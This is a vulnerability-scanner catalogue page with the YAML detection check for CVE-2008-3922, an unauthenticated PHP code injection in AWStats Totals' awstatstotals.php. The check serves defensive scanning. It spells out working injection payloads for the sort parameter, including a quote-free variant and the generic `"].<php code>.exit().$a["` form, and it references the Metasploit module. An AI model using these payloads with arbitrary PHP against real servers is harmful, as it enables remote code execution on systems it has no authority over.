AWStats Totals — 1 vulnerability check

noctis ships 1 vulnerability check for AWStats Totals, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AWStats Totals awstatstotals.php sort Parameter PHP Code Injection

CVECVE-2008-3922
Severitycritical · CVSS 9.3
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/awstats-totals/CVE-2008-3922.yaml

Detects the unauthenticated PHP code injection in AWStats Totals 1.0 to 1.14: awstatstotals.php pastes the sort parameter unfiltered into the body of the comparison function it creates to sort its table, so a value such as `"].<php code>.exit().$a["` runs PHP code as the web server user. Once awstatstotals.php is found serving the AWStats Totals page, the feed sends a sort value that makes the script exit with a marker followed by the product of two random integers; when that gives no proof (PHP escaping quotes in request parameters), it sends a quote-free form that makes the script exit with the product alone. It reports only when that computed product comes back, which only real evaluation of the injected PHP can produce.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{totals_dir}}/awstatstotals.php
  3. HTTP(S) request GET {{totals_dir}}/awstatstotals.php?sort=%22%5D.exit(%22NOCTIS%22.({{proof.a}}*{{proof.b…
  4. Checks resp.body for NOCTIS[0-9]{11,12} → finding QoD 97: AWStats Totals PHP code injection confirmed via GET …/awstatstotals.php?sort="].exit("NOCTIS".(…*…)).$a[": the reply carried the PHP-comput…
  5. HTTP(S) request GET {{totals_dir}}/awstatstotals.php?sort=%7B%24%7Bexit(strval({{proof.a}}*{{proof.b}}))%…
  6. Checks resp_interp.body for [0-9]{11,12} → finding QoD 97: AWStats Totals PHP code injection confirmed via GET …/awstatstotals.php?sort={${exit(strval(…*…))}} (quote-free form, PHP escapes quotes in…

References:

Feed source — tests/vulnerabilities/awstats-totals/CVE-2008-3922.yaml
# AWStats Totals <= 1.14 — awstatstotals.php `sort` PHP code injection (CVE-2008-3922)
#
# Ported from OpenVAS/Greenbone NVT
# `2011/gb_awstats_totals_sort_parameter_cmd_exec_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.801893, GPL-2.0-only). Request shape also checked
# against the Metasploit module exploit/unix/webapp/awstatstotals_multisort
# (EDB 17324), which sends `sort="].<php>.exit().$a["` the same way.
#
# AWStats Totals 1.0 - 1.14 sorts its per-site table with multisort(), which
# builds the usort() comparator with create_function() and pastes the `sort`
# GET parameter, unfiltered, between `$a["` and `"]` in the function body.
# `"].<expr>.$a["` therefore closes the array key and evaluates <expr> when
# usort() first calls the comparator. 1.15 and later
# check `sort` against the list of table columns.
#
# Detection — gated, per install directory, on awstatstotals.php serving the
# "<title>AWStats Totals</title>" page, like the NASL:
#   sort="].exit("NOCTIS".(a*b)).$a["   (a, b random, 6 digits)
# exit(<string>) prints the string and ends the script. (print(...) would not
# do: print is a language construct, so `print(x).exit()` evaluates exit()
# before anything is printed and the reply is empty.)
# Reported (QoD 97) only when NOCTIS<a*b> comes back: the 11/12-digit product
# never appears in the request, so a page reflecting `sort` cannot produce it.
# With magic_quotes_gpc on (the PHP < 5.4 default) the `"` arrives as `\"`
# and that form fails, so when it gave no proof the feed sends the quote-free
# form from the original advisory, PHP complex-syntax interpolation inside
# the `$a["..."]` string:
#   sort={${exit(strval(a*b))}}   → the reply is the bare product a*b
# Nothing is written or read on the target; the script just exits early.
#
# Better than the NASL: the NASL matches phpinfo() output (`>phpinfo()<` +
# `>PHP Core<`…), which any page that embeds a phpinfo() dump would also
# return, and phpinfo() is a disclosure in itself; here the proof is a
# per-run value only real code evaluation yields. The NASL also misses every
# install running with magic_quotes_gpc on; the quote-free form covers it. The NASL also misses
# installs served from the web root or /cgi-bin when those are not in its CGI
# dir list; the loop below tries them explicitly.
#
# Limitation shared with the NASL and the Metasploit module: usort() only
# calls the comparator when the totals table has at least two rows (two
# AWStats configs/sites), so a single-site install is not exploitable this way
# and is not reported.
uid: d0f884aa-1119-4664-8dc0-5b5d54203ba2
name: "AWStats Totals awstatstotals.php sort Parameter PHP Code Injection (CVE-2008-3922)"
description: |
  Detects the unauthenticated PHP code injection in AWStats Totals 1.0 to
  1.14: awstatstotals.php pastes the sort parameter unfiltered into the body
  of the comparison function it creates to sort its table, so a value such as
  `"].<php code>.exit().$a["` runs PHP code as the web server user. Once
  awstatstotals.php is found serving the AWStats Totals page, the feed sends
  a sort value that makes the script exit with a marker followed by the
  product of two random integers; when that gives no proof (PHP escaping
  quotes in request parameters), it sends a quote-free form that makes the
  script exit with the product alone. It reports only when that computed product
  comes back, which only real evaluation of the injected PHP can produce.
cves: [CVE-2008-3922]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags: [awstats-totals, awstats, php, code-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2008-3922"
  - "https://www.exploit-db.com/exploits/6368"
  - "https://www.exploit-db.com/exploits/17324"
  - "https://www.securityfocus.com/bid/30856"
  - "http://www.telartis.nl/xcms/awstats/"
  - "OpenVAS/Greenbone NASL 2011/gb_awstats_totals_sort_parameter_cmd_exec_vuln.nasl (GPL-2.0-only)"

steps:
  # Per-run proof values: the product of two 6-digit integers (11-12 digits).
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: "" + a, b: "" + b, product: "" + (a * b), marker: "NOCTIS" + (a * b) }
    store_as: proof

  # ── Per install directory: the loop runs every step below ────────────────
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      over: ["/awstatstotals", "/awstats", "", "/cgi-bin"]
      var: totals_dir

  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: init-resp-interp
    action: set_var
    var_name: resp_interp
    var_value: {status: 0, body: ""}

  - id: totals-page
    action: http_request
    method: GET
    path: "{{totals_dir}}/awstatstotals.php"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: page

  #   %22 = "   %5D = ]   %5B = [   %24 = $
  - id: inject-exit
    action: http_request
    method: GET
    path: "{{totals_dir}}/awstatstotals.php?sort=%22%5D.exit(%22NOCTIS%22.({{proof.a}}*{{proof.b}})).%24a%5B%22"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "page.status == 200 && stridx(page.body, \"<title>AWStats Totals</title>\") >= 0"
    store_as: resp

  - id: confirm-exit
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9]{11,12}"
    condition: "stridx(resp.body, proof.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "AWStats Totals PHP code injection confirmed via GET {{totals_dir}}/awstatstotals.php?sort=\"].exit(\"NOCTIS\".({{proof.a}}*{{proof.b}})).$a[\": the reply carried the PHP-computed marker {{proof.marker}}"
      stop: true

  # ── Quote-free form (magic_quotes_gpc on) ────────────────────────────────
  #   %7B = {   %7D = }   %24 = $
  - id: inject-interp
    action: http_request
    method: GET
    path: "{{totals_dir}}/awstatstotals.php?sort=%7B%24%7Bexit(strval({{proof.a}}*{{proof.b}}))%7D%7D"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "page.status == 200 && stridx(page.body, \"<title>AWStats Totals</title>\") >= 0 && stridx(resp.body, proof.marker) < 0"
    store_as: resp_interp

  - id: confirm-interp
    action: match
    source: resp_interp.body
    pattern: "[0-9]{11,12}"
    condition: "stridx(resp_interp.body, proof.product) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "AWStats Totals PHP code injection confirmed via GET {{totals_dir}}/awstatstotals.php?sort={${exit(strval({{proof.a}}*{{proof.b}}))}} (quote-free form, PHP escapes quotes in parameters): the reply carried the PHP-computed product {{proof.product}}"
      stop: true

View these feeds on GitHub